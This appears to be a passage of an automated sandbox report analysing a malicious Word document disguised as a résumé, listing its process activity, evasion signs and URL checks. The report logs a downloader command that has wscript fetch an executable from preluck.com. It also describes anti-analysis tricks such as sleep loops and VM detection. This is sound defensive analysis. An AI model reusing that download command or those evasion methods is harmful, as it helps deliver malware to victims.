Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Document contains OLE streams with high entropy indicating encrypted embedded contentShow sources
Source: Maria resume.docStream path 'EncryptedPackage' entropy: 7.92925531571 (max. 8.0)

Malware Analysis System Evasion:

barindex
Found WSH timer for Javascript or VBS script (likely evasive script)Show sources
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
May sleep (evasive loops) to hinder dynamic analysisShow sources
Source: C:\Windows\SysWOW64\wscript.exe TID: 764Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 2452Thread sleep time: -30000s >= -30000sJump to behavior
May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)Show sources
Source: wscript.exe, 00000004.00000002.1810805395.00000000057D0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: wscript.exe, 00000004.00000002.1810805395.00000000057D0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: wscript.exe, 00000004.00000002.1810805395.00000000057D0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: wscript.exe, 00000004.00000002.1809256667.00000000033C4000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: wscript.exe, 00000004.00000002.1810805395.00000000057D0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

HIPS / PFW / Operating System Protection Evasion:

barindex
Creates a process in suspended mode (likely to inject code)Show sources
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe wscript //nologo c:\cfgPath3\Parents.vbs https://preluck.com/3.exe c:\cfgPath3\BrainGos.exeJump to behavior

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a deviceShow sources
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Queries the cryptographic machine GUIDShow sources
Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Malware Configuration

No configs have been found

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Simulations

Behavior and APIs

TimeTypeDescription
02:04:04API Interceptor1x Sleep call for process: wscript.exe modified

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

SourceDetectionScannerLabelLink
preluck.com0%VirustotalBrowse

URLs

SourceDetectionScannerLabelLink
https://cdn.entity.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://powerlift.acompli.net0%VirustotalBrowse
https://powerlift.acompli.net0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://api.aadrm.com/0%VirustotalBrowse
https://api.aadrm.com/0%URL Reputationsafe
https://ofcrecsvcapi-int.azurewebsites.net/0%VirustotalBrowse
https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%VirustotalBrowse
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%VirustotalBrowse
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://officeci.azurewebsites.net/api/0%VirustotalBrowse
https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%VirustotalBrowse
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://www.odwebp.svc.ms0%VirustotalBrowse
https://www.odwebp.svc.ms0%URL Reputationsafe
https://dataservice.o365filtering.com/0%VirustotalBrowse
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%VirustotalBrowse
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://apis.live.net/v5.0/0%VirustotalBrowse
https://apis.live.net/v5.0/0%URL Reputationsafe
https://preluck.com/3.exec:0%Avira URL Cloudsafe
https://asgsmsproxyapi.azurewebsites.net/0%VirustotalBrowse
https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%VirustotalBrowse
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://o365diagnosticsppe-web.cloudapp.net0%VirustotalBrowse
https://o365diagnosticsppe-web.cloudapp.net0%Avira URL Cloudsafe
https://skyapi.live.net/Activity/0%VirustotalBrowse
https://skyapi.live.net/Activity/0%Avira URL Cloudsafe
https://dataservice.o365filtering.com0%VirustotalBrowse
https://dataservice.o365filtering.com0%URL Reputationsafe
https://ovisualuiapp.azurewebsites.net/pbiagave/0%VirustotalBrowse
https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
https://preluck.com/3.exe30%Avira URL Cloudsafe
https://directory.services.0%VirustotalBrowse
https://directory.services.0%URL Reputationsafe

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Sigma Overview


System Summary:

barindex
Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis: Data: Command: C:\Windows\system32\cmd.exe /c C:\cfgPath3\RandomData.cmd, CommandLine: C:\Windows\system32\cmd.exe /c C:\cfgPath3\RandomData.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE' /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 3904, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\cfgPath3\RandomData.cmd, ProcessId: 1860

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.